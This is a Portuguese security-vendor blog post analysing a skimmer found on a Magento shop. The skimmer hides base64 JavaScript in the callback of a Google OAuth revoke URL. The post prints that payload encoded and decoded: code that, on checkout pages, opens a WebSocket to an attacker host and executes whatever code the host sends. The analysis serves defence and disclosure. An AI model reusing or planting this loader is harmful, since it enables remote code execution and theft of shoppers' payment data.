Skip to main content
Blog
Blog

Google OAuth Armado Dispara WebSocket Malicioso

Um atacante está a usar o 'Google.com' para entregar e executar o seu próprio código num ataque armado ao Google OAuth.

Jun 10, 2025 4 min read
weaponized-google-oauth-image-cover

Resumo: detetar injeção falsa de script OAuth do Google

  • Um domínio de confiança abusado: Se o src de um script começa com accounts.google.com, ninguém olha duas vezes. É por isso que os atacantes apontaram um callback para lá e injetaram JavaScript em base64 no parâmetro do URL para correr dentro da sua página de checkout.
  • Como a cside o apanhou: No site Magento parts[.]expert, a cside apanhou um URL de revoke OAuth armado a correr eval(atob(...)) e a abrir um WebSocket para livechatinc[.]network/chatpipe/029/, um domínio marcado como malicioso no VirusTotal. O script só disparava em URLs de checkout, pelo que um crawler estático não o teria detetado.
  • Confie no comportamento: Deixe de confiar num script apenas pelo seu domínio de origem. Confie no comportamento em runtime. Se um URL do Google está a abrir um WebSocket para um domínio de chat durante o checkout, ou a sua plataforma vê isso em tempo real, ou os seus clientes pagam o preço do atraso.

Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.

Analisámos um ataque client-side engenhoso num site de eCommerce baseado em Magento, o parts[.]expert. Embora não seja um domínio de tráfego elevado, a técnica de injeção utilizada aqui merece atenção, porque se esconde à vista de todos.

O atacante está a usar o 'Google.com' para entregar e executar o seu próprio código e explorar medidas de segurança OAuth, o que pode potencialmente comprometer credenciais de contas Google e tokens de acesso.

O Que Encontrámos

O nosso sistema sinalizou um script proveniente de um URL inesperado:

<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
cside a sinalizar um script carregado a partir de um URL de OAuth do Google inesperado

À primeira vista, parece um URL legítimo de logout OAuth do servidor de autorização:

accounts.google.com/o/oauth2/revoke.

Mas, olhando mais de perto, o parâmetro callback foi armado para executar um payload JavaScript ofuscado através de eval(atob(...)).

URL de revoke do Google OAuth armado a esconder um payload de callback JavaScript ofuscado

Análise Passo a Passo

O payload codificado em base64 embutido no callback é descodificado noutro script ofuscado que cria dinamicamente uma ligação WebSocket maliciosa para um domínio controlado pelo atacante, um risco de segurança WebSocket. Descodificado, lê-se:

(function() {
  let setupMaliciousWebSocket = () => {
    // Connect to attacker's WebSocket server
    const ws = new WebSocket("wss:/livechatinc.network/chatpipe/029/");

    // Execute any code received from the server
    ws.onmessage = (event) => {
      const maliciousCode = atob(event.data); // Decode Base64
      new Function(maliciousCode).call(event.target); // Execute dynamically
    };
  };

  // Run if:
  // 1. The browser is automated (e.g., bots), OR
  // 2. The URL contains 'checkout' (e.g., payment page)
  if (navigator.webdriver || window.location.href.match('checkout')) {
    setupMaliciousWebSocket();
  }
})();

O Que o Script Faz

  1. Liga-se a um Servidor WebSocket Malicioso se a página contiver checkout no URL, ou se o navegador parecer automatizado. Abre uma ligação wss:// para livechatinc[.]network/chatpipe/029/, um domínio já sinalizado como malicioso (link do VirusTotal) e um exemplo claro de um ataque WebSocket em ação.
  2. Recebe e Executa Payloads Remotos: Quaisquer mensagens codificadas em base64 enviadas através do WebSocket são descodificadas e executadas com new Function(...). Isto dá ao atacante capacidades totais de execução remota dentro da sessão do navegador do utilizador, uma técnica frequentemente usada em phishing OAuth e outros ataques OAuth, e pode levar a uma violação de dados, intercetando informações sensíveis como dados de endereço de e-mail e detalhes de pagamento.
  3. Consciente do Momento e do Contexto: O script ativa-se especificamente em páginas de checkout, provavelmente para intercetar dados de pagamento ou injetar elementos fraudulentos em tempo real.

Porque É Que Isto Importa

  • Parece Legítimo: Parece carregar a partir de um domínio Google, assemelhando-se a tráfego de vulnerabilidades do Google OAuth, pelo que a maioria das ferramentas de segurança confiaria nele cegamente. Uma CSP não conseguirá detetar este ataque, uma vez que o domínio de confiança Google.com passará. Um filtro DNS no dispositivo do utilizador também não seria eficaz.
  • Contorna Scanners Estáticos: A lógica perigosa está aninhada em duas camadas de ofuscação e só é executada sob condições específicas. Isso torna-a especialmente difícil de detetar para organizações sem um avaliador de segurança qualificado (QSA).
  • Controlo em Tempo Real: Payloads baseados em WebSocket permitem que os atacantes enviem lógica maliciosa dinâmica com base nas ações do utilizador.

Já vimos antes casos de personificação de domínio e loaders ofuscados, mas esta combinação de desvio de OAuth com controlo ao vivo ativado condicionalmente vai um passo mais além.

A cside identificou e apanhou este ataque. Recebemos o payload completo do script obtido e analisamo-lo antes de ser enviado ao navegador.

Pode criar uma conta ou marcar uma demonstração aqui.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitore e proteja seus scripts de terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração

Quer ver isso em detalhe com um engenheiro?

Trinta minutos, no seu próprio site. Sem slides.

Vamos mostrar:

Quais scripts de terceiros estão rodando no seu site agora
Como você está em relação aos requisitos 6.4.3 e 11.6.1 do PCI DSS
Qual parte do seu tráfego é de bots e agentes de IA

Prefere só mandar uma pergunta?

Procurando horários livres…

Apenas humanos de verdade. A gente saberia.

Problemas para agendar? Abrir o agendador em uma nova aba

O que você está tentando resolver?

Conte em uma linha e voltamos com algo útil, não com um discurso genérico.

Costumamos ajudar com:

Ver quais scripts de terceiros rodam no seu site
Evidências para PCI DSS 6.4.3 e 11.6.1
Bots, agentes de IA e roubo de contas

Prefere agendar um horário? Escolher um horário